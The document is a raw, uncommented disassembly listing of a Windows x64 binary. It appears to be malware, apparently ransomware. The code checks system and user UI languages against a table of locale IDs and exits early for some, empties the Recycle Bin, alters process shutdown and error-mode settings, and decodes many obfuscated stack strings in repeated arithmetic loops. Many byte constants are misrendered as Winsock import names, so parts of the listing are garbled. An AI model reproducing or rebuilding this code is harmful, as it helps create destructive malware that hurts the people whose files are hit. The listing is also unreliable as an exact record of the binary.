movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff1ec
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add ecx, ebx
add ecx, 0xfffff1ec
add cl, 0x7f
movzx ecx, cl
lea ebp, [rcx + rcx*2]
shr ebp, 8
mov ebx, ecx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub cl, bpl
mov byte [rsp + rax + 0x21], cl
add rax, 1
cmp rax, 0x10
jne 0x140010510
mov rcx, r13
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x14001059f
call fcn.14000ed10
call qword [sym.imp.KERNEL32.DLL_GetSystemDefaultUILanguage]
mov esi, eax
call qword [sym.imp.KERNEL32.DLL_GetUserDefaultUILanguage]
mov ecx, esi
and ecx, 0x3ff
cmp cx, 0x28
jae 0x1400105e0
cmp cx, 0x1e
jae 0x1400105fb
cmp cx, 0x18
jae 0x140010631
cmp cx, 4
jae 0x140010665
cmp cx, 1
jne 0x14001067d
jmp 0x140010730
cmp cx, 0x3f
jae 0x140010616
cmp cx, 0x2b
jae 0x14001064e
cmp cx, 0x2a
je 0x14001067d
jmp 0x140010730
cmp cx, 0x24
ja 0x140010730
cmp cx, 0x23
jae 0x140010665
cmp cx, 0x1e
jne 0x14001067d
jmp 0x140010730
cmp cx, 0x43
jae 0x14001066d
cmp cx, 0x41
jb 0x140010730
cmp cx, 0x42
jne 0x14001067d
jmp 0x140010730
cmp cx, 0x1a
jb 0x140010730
mov ecx, esi
and ecx, 0x3fd
cmp cx, 0x18
jne 0x14001067d
jmp 0x140010730
je 0x140010730
cmp cx, 0x37
jae 0x140010665
cmp cx, 0x2c
jne 0x14001067d
jmp 0x140010730
je 0x140010730
jmp 0x14001067d
movzx ecx, cx
add ecx, 0xffffffbd
cmp cx, 2
jb 0x140010730
mov ecx, eax
and ecx, 0x3ff
cmp cx, 0x28
jae 0x1400106b0
cmp cx, 0x1e
jae 0x1400106c8
cmp cx, 0x18
jae 0x1400106fc
cmp cx, 4
jae 0x14001072a
cmp cx, 1
jne 0x1400109e8
jmp 0x140010730
cmp cx, 0x3f
jae 0x1400106e0
cmp cx, 0x2b
jae 0x140010716
cmp cx, 0x2a
je 0x1400109e8
jmp 0x140010730
cmp cx, 0x24
ja 0x140010730
cmp cx, 0x23
jae 0x14001072a
cmp cx, 0x1e
jne 0x1400109e8
jmp 0x140010730
cmp cx, 0x43
jae 0x1400109d8
cmp cx, 0x41
jb 0x140010730
cmp cx, 0x42
jne 0x1400109e8
jmp 0x140010730
cmp cx, 0x1a
jb 0x140010730
mov ecx, eax
and ecx, 0x3fd
cmp cx, 0x18
jne 0x1400109e8
jmp 0x140010730
je 0x140010730
cmp cx, 0x37
jae 0x14001072a
cmp cx, 0x2c
jne 0x1400109e8
jmp 0x140010730
jne 0x1400109e8
movzx r8d, ax
movzx edx, si
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x2d
mov byte [rsp + 0x22], WSAGetLastError
mov byte [rsp + 0x23], 0x60
mov byte [rsp + 0x24], WSAGetLastError
mov byte [rsp + 0x25], shutdown
mov byte [rsp + 0x26], WSAGetLastError
mov byte [rsp + 0x27], 0x4c
mov byte [rsp + 0x28], WSAGetLastError
mov byte [rsp + 0x29], 0x7a
mov byte [rsp + 0x2a], WSAGetLastError
mov byte [rsp + 0x2b], 0x28
mov byte [rsp + 0x2c], WSAGetLastError
mov byte [rsp + 0x2d], 0x27
mov byte [rsp + 0x2e], WSAGetLastError
mov byte [rsp + 0x2f], 1
mov byte [rsp + 0x30], WSAGetLastError
mov byte [rsp + 0x31], 0x2c
mov byte [rsp + 0x32], WSAGetLastError
mov byte [rsp + 0x33], 0x63
mov byte [rsp + 0x34], WSAGetLastError
mov byte [rsp + 0x35], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x36], WSAGetLastError
mov byte [rsp + 0x37], 1
mov byte [rsp + 0x38], WSAGetLastError
mov byte [rsp + 0x39], 0x63
mov byte [rsp + 0x3a], WSAGetLastError
mov byte [rsp + 0x3b], 0x18
mov byte [rsp + 0x3c], WSAGetLastError
mov byte [rsp + 0x3d], 0x7e
mov byte [rsp + 0x3e], WSAGetLastError
mov byte [rsp + 0x3f], 0x28
mov byte [rsp + 0x40], WSAGetLastError
mov byte [rsp + 0x41], 0x25
mov byte [rsp + 0x42], WSAGetLastError
mov byte [rsp + 0x43], gethostbyname
mov byte [rsp + 0x44], WSAGetLastError
mov byte [rsp + 0x45], 0x28
mov byte [rsp + 0x46], WSAGetLastError
mov byte [rsp + 0x47], 1
mov byte [rsp + 0x48], WSAGetLastError
mov byte [rsp + 0x49], 0x2c
mov byte [rsp + 0x4a], WSAGetLastError
mov byte [rsp + 0x4b], gethostbyname
mov byte [rsp + 0x4c], WSAGetLastError
mov byte [rsp + 0x4d], 0x28
mov byte [rsp + 0x4e], WSAGetLastError
mov byte [rsp + 0x4f], 0x25
mov byte [rsp + 0x50], WSAGetLastError
mov byte [rsp + 0x51], gethostbyname
mov byte [rsp + 0x52], WSAGetLastError
mov byte [rsp + 0x53], WSAGetLastError
mov byte [rsp + 0x54], WSAGetLastError
mov al, byte [rsp + 0x20]
test al, 1
jne 0x1400108d9
mov esi, 1
nop word cs:[rax + rax]
movzx ebx, byte [rsp + rsi + 0x20]
movzx ebp, bl
imul ebp, ebp, 0xffffffd4
mov ebx, ebp
add ebx, 0x12e8
movsx ebx, bx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, ebp
add ebx, 0x12e8
movzx ebx, bx
mov edi, ebx
shr edi, 0xf
shr ebx, 6
add ebx, edi
mov edi, ebx
shl edi, 7
sub ebx, edi
add ebp, ebx
add ebp, 0x12e8
add bpl, 0x7f
movzx ebp, bpl
lea ebx, [rbp + rbp*2]
shr ebx, 8
mov eax, ebp
sub al, bl
shr al, 1
add al, bl
shr al, 6
movzx ebx, al
mov eax, ebx
shl eax, 7
sub eax, ebx
sub bpl, al
mov byte [rsp + rsi + 0x20], bpl
add rsi, 1
cmp rsi, 0x35
jne 0x140010860
call fcn.14000eec0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x23
mov byte [rsp + 0x22], 7
mov byte [rsp + 0x23], 6
mov byte [rsp + 0x24], 7
mov byte [rsp + 0x25], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x26], 7
mov byte [rsp + 0x27], 0x4e
mov byte [rsp + 0x28], 7
mov byte [rsp + 0x29], 0x44
mov byte [rsp + 0x2a], 7
mov byte [rsp + 0x2b], 7
mov byte [rsp + 0x2c], 7
mov al, byte [rsp + 0x20]
test al, 1
jne 0x1400109b4
mov eax, 1
nop word cs:[rax + rax]
nop
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
lea ebp, [rdx*8]
sub ebp, edx
mov edx, ebp
add edx, 0xffffffcf
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ebp
add edx, 0xffffffcf
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add edx, ebp
add edx, 0xffffffcf
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0xd
jne 0x140010940
call fcn.14000eec0
mov eax, r12d
movaps xmm6, xmmword [rsp + 0x150]
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ecx, cx
add ecx, 0xffffffbd
cmp cx, 2
jb 0x140010730
mov ecx, 7
call qword [sym.imp.KERNEL32.DLL_SetErrorMode]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_SetProcessShutdownParameters]
xor ecx, ecx
xor edx, edx
mov r8d, 7
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
call fcn.140036c54
mov r15d, eax
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.DLL_GetNativeSystemInfo]
mov esi, dword [rsp + 0x140]
mov eax, dword [0x1400503b0]
lea ecx, [rsi + rsi]
cmp eax, 0xb
mov edx, esi
cmove edx, ecx
cmp eax, 0xc
cmove esi, ecx
lea ecx, [rax - 0xa]
mov edi, edx
cmp ecx, 3
ja 0x140010a78
mov ecx, 4
mov rdx, rdi
call fcn.1400314f0
test eax, eax
je 0x140010f64
mov ecx, 4
call fcn.1400315c0
test eax, eax
je 0x1400112f0
mov eax, dword [0x1400503b0]
cmp eax, 0xd
ja 0x140010ab4
mov ecx, 0x2c00
bt ecx, eax
jae 0x140010ab4
mov ecx, 1
mov rdx, rdi
call fcn.1400314f0
test eax, eax
je 0x140010d9b
mov ecx, 1
call fcn.1400315c0
test eax, eax
je 0x140011134
mov eax, dword [0x1400503b0]
cmp eax, 0xe
ja 0x140010ae9
mov ecx, 0x5400
bt ecx, eax
jae 0x140010ae9
mov edx, esi
mov ecx, 2
call fcn.1400314f0
test eax, eax
je 0x1400114bd
mov ecx, 2
call fcn.1400315c0
test eax, eax
je 0x14001169e
call fcn.140004980
call fcn.140004d20
mov qword [rsp + 0x110], 0
lea rsi, [rsp + 0x110]
mov qword [rsp + 0x118], rsi
mov rcx, rsi
call fcn.140016f10
mov rcx, rsi
call fcn.14000aa70
xor ecx, ecx
call fcn.14000abc0
mov eax, dword [0x1400503b0]
cmp eax, 0xd
jne 0x14001188a
mov rdi, qword [0x140051e88]
test rdi, rdi
je 0x140011d1a
lea r14, [rsp + 0x21]
movaps xmm6, xmmword [section..rdata]
lea rbp, [rsp + 0xf0]
jmp 0x140010b86
mov rcx, rbp
mov rdx, rsi
mov r9, rdi
call fcn.1400015c0
mov ecx, 5
mov rdx, rbp
call fcn.140031b70
mov rdi, qword [rdi + 0x8000]
test rdi, rdi
je 0x140011884
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x5d
mov byte [rsp + 0x22], WSACleanup
mov byte [rsp + 0x23], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x24], WSACleanup
mov byte [rsp + 0x25], 0x18
mov byte [rsp + 0x26], WSACleanup
mov byte [rsp + 0x27], 0x28
mov byte [rsp + 0x28], WSACleanup
mov byte [rsp + 0x29], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x2a], WSACleanup
mov byte [rsp + 0x2b], 0x27
mov byte [rsp + 0x2c], WSACleanup
mov byte [rsp + 0x2d], 0x60
mov byte [rsp + 0x2e], WSACleanup
mov byte [rsp + 0x2f], 0x43
mov byte [rsp + 0x30], WSACleanup
mov byte [rsp + 0x31], 0x2d
mov byte [rsp + 0x32], WSACleanup
mov byte [rsp + 0x33], 0x1a
mov byte [rsp + 0x34], WSACleanup
mov byte [rsp + 0x35], 0x5f
mov byte [rsp + 0x36], WSACleanup
mov byte [rsp + 0x37], 0x18
mov byte [rsp + 0x38], WSACleanup
mov byte [rsp + 0x39], 0x28
mov byte [rsp + 0x3a], WSACleanup
mov byte [rsp + 0x3b], 0x7b
mov byte [rsp + 0x3c], WSACleanup
mov byte [rsp + 0x3d], gethostname
mov byte [rsp + 0x3e], WSACleanup
mov byte [rsp + 0x3f], 0x2d
mov byte [rsp + 0x40], WSACleanup
mov byte [rsp + 0x41], 0x52
mov byte [rsp + 0x42], WSACleanup
mov byte [rsp + 0x43], 0x60
mov byte [rsp + 0x44], WSACleanup
mov byte [rsp + 0x45], 0x2d
mov byte [rsp + 0x46], WSACleanup
mov byte [rsp + 0x47], 0x44
mov byte [rsp + 0x48], WSACleanup
mov byte [rsp + 0x49], 0x18
mov byte [rsp + 0x4a], WSACleanup
mov byte [rsp + 0x4b], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x4c], WSACleanup
mov byte [rsp + 0x4d], gethostname
mov byte [rsp + 0x4e], WSACleanup
mov byte [rsp + 0x4f], 0x2d
mov byte [rsp + 0x50], WSACleanup
mov byte [rsp + 0x51], 0x66
mov byte [rsp + 0x52], WSACleanup
mov byte [rsp + 0x53], 0x1a
mov byte [rsp + 0x54], WSACleanup
mov byte [rsp + 0x55], 0x67
mov byte [rsp + 0x56], WSACleanup
mov byte [rsp + 0x57], WSACleanup
mov byte [rsp + 0x58], WSACleanup
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140010d35
mov eax, 1
nop word cs:[rax + rax]
nop
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ecx, [rcx + rcx*8]
add ecx, 0xfffffc10
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffc10
movzx ecx, cx
mov esi, ecx
shr esi, 0xf
shr ecx, 6
add ecx, esi
mov esi, ecx
shl esi, 7
sub ecx, esi
add ecx, edx
add ecx, 0xfffffc10
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0x39
jne 0x140010cc0
mov rcx, r14
mov rdx, rdi
call fcn.14000eec0
mov qword [rsp + 0xf0], 0
movups xmmword [rsp + 0x100], xmm6
mov word [rsp + 0xf0], 0
mov rcx, rdi
call fcn.140036e08
mov rsi, rax
cmp rax, 7
ja 0x140010b5b
mov qword [rsp + 0x100], rsi
mov r8, rsi
add r8, rsi
mov rcx, rbp
mov rdx, rdi
call fcn.140033760
mov word [rsp + rsi*2 + 0xf0], 0
jmp 0x140010b69
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x25
mov byte [rsp + 0x22], 0x22
mov byte [rsp + 0x23], 0x63
mov byte [rsp + 0x24], 0x22
mov byte [rsp + 0x25], 0x5c
mov byte [rsp + 0x26], 0x22
mov byte [rsp + 0x27], 0xd
mov byte [rsp + 0x28], 0x22
mov byte [rsp + 0x29], 0x4f
mov byte [rsp + 0x2a], 0x22
mov byte [rsp + 0x2b], 7
mov byte [rsp + 0x2c], 0x22
mov byte [rsp + 0x2d], 0xa
mov byte [rsp + 0x2e], 0x22
mov byte [rsp + 0x2f], 0x29
mov byte [rsp + 0x30], 0x22
mov byte [rsp + 0x31], gethostbyname
mov byte [rsp + 0x32], 0x22
mov byte [rsp + 0x33], 0x63
mov byte [rsp + 0x34], 0x22
mov byte [rsp + 0x35], 0x4f
mov byte [rsp + 0x36], 0x22
mov byte [rsp + 0x37], gethostbyname
mov byte [rsp + 0x38], 0x22
mov byte [rsp + 0x39], 7
mov byte [rsp + 0x3a], 0x22
mov byte [rsp + 0x3b], gethostname
mov byte [rsp + 0x3c], 0x22
mov byte [rsp + 0x3d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x3e], 0x22
mov byte [rsp + 0x3f], 0xa
mov byte [rsp + 0x40], 0x22
mov byte [rsp + 0x41], 0x63
mov byte [rsp + 0x42], 0x22
mov byte [rsp + 0x43], gethostname
mov byte [rsp + 0x44], 0x22
mov byte [rsp + 0x45], 7
mov byte [rsp + 0x46], 0x22
mov byte [rsp + 0x47], 0x4f
mov byte [rsp + 0x48], 0x22
mov byte [rsp + 0x49], 0x69
mov byte [rsp + 0x4a], 0x22
mov byte [rsp + 0x4b], 0x29
mov byte [rsp + 0x4c], 0x22
mov byte [rsp + 0x4d], gethostbyname
mov byte [rsp + 0x4e], 0x22
mov byte [rsp + 0x4f], 0x63
mov byte [rsp + 0x50], 0x22
mov byte [rsp + 0x51], 0x1d
mov byte [rsp + 0x52], 0x22
mov byte [rsp + 0x53], 3
mov byte [rsp + 0x54], 0x22
mov byte [rsp + 0x55], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x56], 0x22
mov byte [rsp + 0x57], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x58], 0x22
mov byte [rsp + 0x59], gethostname
mov byte [rsp + 0x5a], 0x22
mov byte [rsp + 0x5b], shutdown
mov byte [rsp + 0x5c], 0x22
mov byte [rsp + 0x5d], 0x22
mov byte [rsp + 0x5e], 0x22
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
shl edx, 2
lea edx, [rdx + rdx*4]
mov ebp, 0x2a8
sub ebp, edx
movsx ebx, bp
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, ebp
movzx ebx, bx
mov ebp, ebx
shr ebp, 0xf
shr ebx, 6
add ebx, ebp
mov ebp, ebx
shl ebp, 7
add ebp, edx
sub ebx, ebp
add ebx, 0x2a8
add bl, 0x7f
movzx edx, bl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x3f
jne 0x140010eec
jmp 0x140011874
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x52
mov byte [rsp + 0x22], 0x10
mov byte [rsp + 0x23], gethostbyname
mov byte [rsp + 0x24], 0x10
mov byte [rsp + 0x25], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x26], 0x10
mov byte [rsp + 0x27], 0x3e
mov byte [rsp + 0x28], 0x10
mov byte [rsp + 0x29], 0x75
mov byte [rsp + 0x2a], 0x10
mov byte [rsp + 0x2b], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x2c], 0x10
mov byte [rsp + 0x2d], 0x7b
mov byte [rsp + 0x2e], 0x10
mov byte [rsp + 0x2f], 0x2b
mov byte [rsp + 0x30], 0x10
mov byte [rsp + 0x31], 0x46
mov byte [rsp + 0x32], 0x10
mov byte [rsp + 0x33], gethostbyname
mov byte [rsp + 0x34], 0x10
mov byte [rsp + 0x35], 0x75
mov byte [rsp + 0x36], 0x10
mov byte [rsp + 0x37], 0x46
mov byte [rsp + 0x38], 0x10
mov byte [rsp + reloc.WS2_32.dll_gethostname], 0x39
mov byte [rsp + 0x3a], 0x10
mov byte [rsp + 0x3b], 0x50
mov byte [rsp + 0x3c], 0x10
mov byte [rsp + 0x3d], 0x46
mov byte [rsp + 0x3e], 0x10
mov byte [rsp + 0x3f], gethostbyname
mov byte [rsp + 0x40], 0x10
mov byte [rsp + 0x41], 0x2b
mov byte [rsp + 0x42], 0x10
mov byte [rsp + 0x43], 0x7b
mov byte [rsp + 0x44], 0x10
mov byte [rsp + 0x45], gethostname
mov byte [rsp + 0x46], 0x10
mov byte [rsp + 0x47], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x48], 0x10
mov byte [rsp + 0x49], 0x75
mov byte [rsp + 0x4a], 0x10
mov byte [rsp + 0x4b], gethostname
mov byte [rsp + 0x4c], 0x10
mov byte [rsp + 0x4d], 0x2b
mov byte [rsp + 0x4e], 0x10
mov byte [rsp + 0x4f], 0x46
mov byte [rsp + 0x50], 0x10
mov byte [rsp + 0x51], gethostbyname
mov byte [rsp + 0x52], 0x10
mov byte [rsp + 0x53], 0x21
mov byte [rsp + 0x54], 0x10
mov byte [rsp + 0x55], 0x60
mov byte [rsp + 0x56], 0x10
mov byte [rsp + 0x57], 0x3b
mov byte [rsp + 0x58], 0x10
mov byte [rsp + 0x59], 0x3b
mov byte [rsp + 0x5a], 0x10
mov byte [rsp + 0x5b], 0x4b
mov byte [rsp + 0x5c], 0x10
mov byte [rsp + 0x5d], 0x43
mov byte [rsp + 0x5e], 0x10
mov byte [rsp + 0x5f], 0x10
mov byte [rsp + 0x60], 0x10
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
xor eax, eax
movzx edx, byte [rsp + rax + 0x21]
movzx edx, dl
shl edx, 3
lea edx, [rdx + rdx*2]
mov ebp, 0x180
sub ebp, edx
movsx ebx, bp
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, ebp
movzx ebx, bx
mov ebp, ebx
shr ebp, 0xf
shr ebx, 6
add ebx, ebp
mov ebp, ebx
shl ebp, 7
add ebp, edx
sub ebx, ebp
add ebx, 0x180
add bl, 0x7f
movzx edx, bl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x21], dl
add rax, 1
cmp rax, 0x40
jne 0x1400110bc
jmp 0x140011874
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x42
mov byte [rsp + 0x22], 1
mov byte [rsp + 0x23], 0x61
mov byte [rsp + 0x24], 1
mov byte [rsp + 0x25], 0x1e
mov byte [rsp + 0x26], 1
mov byte [rsp + 0x27], gethostname
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x29], 0x57
mov byte [rsp + 0x2a], 1
mov byte [rsp + 0x2b], gethostbyname
mov byte [rsp + 0x2c], 1
mov byte [rsp + 0x2d], 0xe
mov byte [rsp + 0x2e], 1
mov byte [rsp + 0x2f], 0x57
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 1
mov byte [rsp + 0x33], 0x44
mov byte [rsp + 0x34], 1
mov byte [rsp + 0x35], 0x57
mov byte [rsp + 0x36], 1
mov byte [rsp + 0x37], gethostbyname
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x39], inet_ntoa
mov byte [rsp + 0x3a], 1
mov byte [rsp + 0x3b], 0x67
mov byte [rsp + 0x3c], 1
mov byte [rsp + 0x3d], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3e], 1
mov byte [rsp + 0x3f], 0x61
mov byte [rsp + 0x40], 1
mov byte [rsp + 0x41], inet_ntoa
mov byte [rsp + 0x42], 1
mov byte [rsp + 0x43], gethostbyname
mov byte [rsp + 0x44], 1
mov byte [rsp + 0x45], 0x57
mov byte [rsp + 0x46], 1
mov byte [rsp + 0x47], 0x64
mov byte [rsp + 0x48], 1
mov byte [rsp + 0x49], 0x44
mov byte [rsp + 0x4a], 1
mov byte [rsp + 0x4b], 8
mov byte [rsp + 0x4c], 1
mov byte [rsp + 0x4d], 0x61
mov byte [rsp + 0x4e], 1
mov byte [rsp + 0x4f], 0x3e
mov byte [rsp + 0x50], 1
mov byte [rsp + 0x51], gethostbyname
mov byte [rsp + 0x52], 1
mov byte [rsp + 0x53], 0x67
mov byte [rsp + 0x54], 1
mov byte [rsp + 0x55], 0x67
mov byte [rsp + 0x56], 1
mov byte [rsp + 0x57], inet_ntoa
mov byte [rsp + 0x58], 1
mov byte [rsp + 0x59], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x5a], 1
mov byte [rsp + 0x5b], 1
mov byte [rsp + 0x5c], 1
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
shl edx, 3
lea edx, [rdx + rdx*4]
mov ebp, 0x28
sub ebp, edx
movsx ebx, bp
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, ebp
movzx ebx, bx
mov ebp, ebx
shr ebp, 0xf
shr ebx, 6
add ebx, ebp
mov ebp, ebx
shl ebp, 7
add ebp, edx
sub ebx, ebp
add ebx, 0x28
add bl, 0x7f
movzx edx, bl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x3d
jne 0x14001127b
jmp 0x140011874
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x1c
mov byte [rsp + 0x22], gethostname
mov byte [rsp + 0x23], 0x68
mov byte [rsp + 0x24], gethostname
mov byte [rsp + 0x25], pe_nt_image_headers64
mov byte [rsp + 0x26], gethostname
mov byte [rsp + 0x27], 0x65
mov byte [rsp + 0x28], gethostname
mov byte [rsp + 0x29], 0x3b
mov byte [rsp + 0x2a], gethostname
mov byte [rsp + 0x2b], 0x18
mov byte [rsp + 0x2c], gethostname
mov byte [rsp + 0x2d], gethostbyname
mov byte [rsp + 0x2e], gethostname
mov byte [rsp + 0x2f], 0x3b
mov byte [rsp + 0x30], gethostname
mov byte [rsp + 0x31], 0x68
mov byte [rsp + 0x32], gethostname
mov byte [rsp + 0x33], 0x25
mov byte [rsp + 0x34], gethostname
mov byte [rsp + 0x35], 0x3b
mov byte [rsp + 0x36], gethostname
mov byte [rsp + 0x37], 0x18
mov byte [rsp + 0x38], gethostname
mov byte [rsp + 0x39], gethostbyname
mov byte [rsp + 0x3a], gethostname
mov byte [rsp + 0x3b], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x3c], gethostname
mov byte [rsp + 0x3d], 0x68
mov byte [rsp + 0x3e], gethostname
mov byte [rsp + 0x3f], 0x25
mov byte [rsp + 0x40], gethostname
mov byte [rsp + 0x41], 0x7e
mov byte [rsp + 0x42], gethostname
mov byte [rsp + 0x43], gethostname
mov byte [rsp + 0x44], gethostname
mov byte [rsp + 0x45], 0x18
mov byte [rsp + 0x46], gethostname
mov byte [rsp + 0x47], 0x3b
mov byte [rsp + 0x48], gethostname
mov byte [rsp + 0x49], gethostname
mov byte [rsp + 0x4a], gethostname
mov byte [rsp + 0x4b], 0x25
mov byte [rsp + 0x4c], gethostname
mov byte [rsp + 0x4d], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x4e], gethostname
mov byte [rsp + 0x4f], 0x68
mov byte [rsp + 0x50], gethostname
mov byte [rsp + 0x51], 0xa
mov byte [rsp + 0x52], gethostname
mov byte [rsp + 0x53], 0xf
mov byte [rsp + 0x54], gethostname
mov byte [rsp + 0x55], 4
mov byte [rsp + 0x56], gethostname
mov byte [rsp + 0x57], 4
mov byte [rsp + 0x58], gethostname
mov byte [rsp + 0x59], 0x62
mov byte [rsp + 0x5a], gethostname
mov byte [rsp + 0x5b], gethostbyname
mov byte [rsp + 0x5c], gethostname
mov byte [rsp + 0x5d], gethostname
mov byte [rsp + 0x5e], gethostname
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
imul edx, edx, 0xffffffe9
mov ebp, edx
add ebp, 0x4c3
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0x4c3
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0x4c3
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x3f
jne 0x140011441
jmp 0x140011874
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x52
mov byte [rsp + 0x22], 0x7a
mov byte [rsp + 0x23], 0x66
mov byte [rsp + 0x24], 0x7a
mov byte [rsp + 0x25], 0x1a
mov byte [rsp + 0x26], 0x7a
mov byte [rsp + 0x27], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x28], 0x7a
mov byte [rsp + 0x29], 0x1e
mov byte [rsp + 0x2a], 0x7a
mov byte [rsp + 0x2b], 0x65
mov byte [rsp + 0x2c], 0x7a
mov byte [rsp + 0x2d], 0x3d
mov byte [rsp + 0x2e], 0x7a
mov byte [rsp + 0x2f], 0x47
mov byte [rsp + 0x30], 0x7a
mov byte [rsp + 0x31], shutdown
mov byte [rsp + 0x32], 0x7a
mov byte [rsp + 0x33], 0x66
mov byte [rsp + 0x34], 0x7a
mov byte [rsp + 0x35], 0x1e
mov byte [rsp + 0x36], 0x7a
mov byte [rsp + 0x37], shutdown
mov byte [rsp + 0x38], 0x7a
mov byte [rsp + 0x39], 0x65
mov byte [rsp + 0x3a], 0x7a
mov byte [rsp + 0x3b], 0x1a
mov byte [rsp + 0x3c], 0x7a
mov byte [rsp + 0x3d], shutdown
mov byte [rsp + 0x3e], 0x7a
mov byte [rsp + 0x3f], 0x1e
mov byte [rsp + 0x40], 0x7a
mov byte [rsp + 0x41], 0x20
mov byte [rsp + 0x42], 0x7a
mov byte [rsp + 0x43], 0x45
mov byte [rsp + 0x44], 0x7a
mov byte [rsp + 0x45], 0x47
mov byte [rsp + 0x46], 0x7a
mov byte [rsp + 0x47], 0x18
mov byte [rsp + 0x48], 0x7a
mov byte [rsp + 0x49], 0x65
mov byte [rsp + 0x4a], 0x7a
mov byte [rsp + 0x4b], 0x1e
mov byte [rsp + 0x4c], 0x7a
